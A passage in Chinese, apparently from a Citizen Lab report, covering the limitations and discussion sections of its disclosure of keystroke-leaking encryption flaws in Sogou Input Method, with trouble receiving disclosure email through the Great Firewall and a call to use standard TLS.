MX記錄中，這一發現加強了騰訊的郵件伺服器在查找我們域名的MX記錄時遇到困難的假設。電子郵件可能最終在24小時后被傳遞，這是由於中國防火牆的間歇性故障或數據包丟失導致防火牆注入的DNS回復丟失，從而使我們域名的MX查詢最終成功。因此，我們選擇使用另一個我們最了解的在任何國家都沒有被屏蔽的域名進行所有未來的披露，以確保我們不會在協調披露期間未能收到關鍵的溝通。同時，我們要求防火牆操作員考慮阻止域名可能會產生意想不到的後果，例如對那些可能在參与重要對話期間受到防火牆背後的軟體漏洞影響的人的持續漏洞的貢獻。

限制

在本報告中，我們詳細介紹了搜狗EncryptWall加密系統在搜狗輸入法中的使用的漏洞。然而，在這項工作中，我們沒有對搜狗輸入法進行全面審計，也沒有嘗試全面發現軟體中的每個安全漏洞。我們的報告涉及我們發現的一組相關漏洞，我們未報告其他漏洞並不意味著這些漏洞不存在的證據。

討論

在過去的八年中，我們致力於分析、記錄和負責任地披露中國開發的應用程序中涉及敏感數據不安全傳輸的漏洞。儘管我們在與開發人員協調解決這些問題方面取得了一些成功，但該生態系統仍存在問題，因為我們在這裏再次報告一個難以想象的受歡迎的中國開發的應用程序未能採用甚至簡單的最佳實踐來保護其傳輸的敏感數據。在這種情況下，搜狗輸入法是一個擁有超過4.5億用戶的應用程序，未能正確保護敏感數據的傳輸，包括用戶輸入的按鍵，使得任何網路竊聽者都可以恢復這些數據。通過採用常見且成熟的加密協議TLS，而不是使用「自製」加密方法，可以輕鬆避免這種漏洞。雖然沒有完美的加密協議，但TLS實現在2003年已經改善了對CBC填充錯誤攻擊的脆弱性，這已經是本文撰寫時的二十年前了。我們已經認識到，協調的安全披露遠遠不足以保護中國應用程序傳輸的用戶數據。我們認為，需要對軟體開發生態系統進行全面的變革，以解決這些系統性問題。

即使已經解決了報告的漏洞，搜狗應用程序仍依賴將鍵入的內容傳輸到搜狗的伺服器作為其普通功能的一部分。來自世界各地的用戶的按鍵輸入被傳輸到中國大陸的伺服器，這些伺服器在中國政府的法律管轄下運營。使用搜狗的高風險用戶應該謹慎，因為鍵入的內容可能包含敏感或個人信息。本報告中概述的攻擊演示了網路竊聽者如何解密這些數據。然而，即使漏洞得到解決，這些數據仍然可以被搜狗的運營商和與他們共享數據的任何人訪問。

致謝

我們要感謝Jakub Dalek、Pellaeon Lin、Adam Senft和Mari Zhou對編輯和同行評審的寶貴貢獻。該項目的研究由Ron Deibert監督。

• 公民實驗室：幾乎所有中文輸入法都會泄露輸入的內容
• 【CDT報告匯】公民實驗室：幾乎所有中文輸入法都會泄露輸入的內容（外二篇）
• 普京向北京追債！習近平翻臉要錢不要命；美高院法官護川留在2024選舉；罕見舉動！朝鮮勞工在華罕暴亂；公民實驗室：中共在海外30多囯設逾百個親中網站【北美新聞】
• 公民實驗室最新報告：中共在青海大規模採集虹膜掃瞄
• 多倫多公民實驗室分析北京冬奧APP「冬奧通」有資安問題

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

via here.news